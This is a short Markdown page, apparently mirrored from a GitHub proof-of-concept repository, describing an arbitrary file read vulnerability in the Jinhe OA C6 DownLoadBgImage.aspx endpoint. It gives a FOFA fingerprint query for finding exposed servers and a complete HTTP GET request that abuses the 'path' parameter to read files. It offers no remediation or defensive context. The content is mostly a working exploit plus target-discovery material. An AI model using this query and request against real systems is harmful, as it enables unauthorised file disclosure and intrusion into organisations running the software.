mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-05 02:15:30 +00:00
24 lines
766 B
Markdown
24 lines
766 B
Markdown
## 金和OA-C6接口DownLoadBgImage存在任意文件读取漏洞
|
|
|
|
金和OA `/C6/JHSoft.Web.AddMenu/LoginTemplate/DownLoadBgImage.aspx` 参数path可读取任意文件。
|
|
|
|
## fofa
|
|
|
|
```
|
|
body="JHSoft.Web.AddMenu" || app="金和网络-金和OA"
|
|
```
|
|
|
|
## poc
|
|
|
|
```
|
|
GET /C6/JHSoft.Web.AddMenu/LoginTemplate/DownLoadBgImage.aspx/?path=/C6/js/PasswordNew.js HTTP/1.1
|
|
Host:
|
|
accept: */*
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
|
|
Accept-Encoding: gzip, deflate, br
|
|
Accept-Language: zh-CN,zh;q=0.9
|
|
Cookie: myie=false; sl-session=dFmseghQeWZR/amIUs1SMQ==; myie=false
|
|
Connection: close
|
|
```
|
|
|
|
 |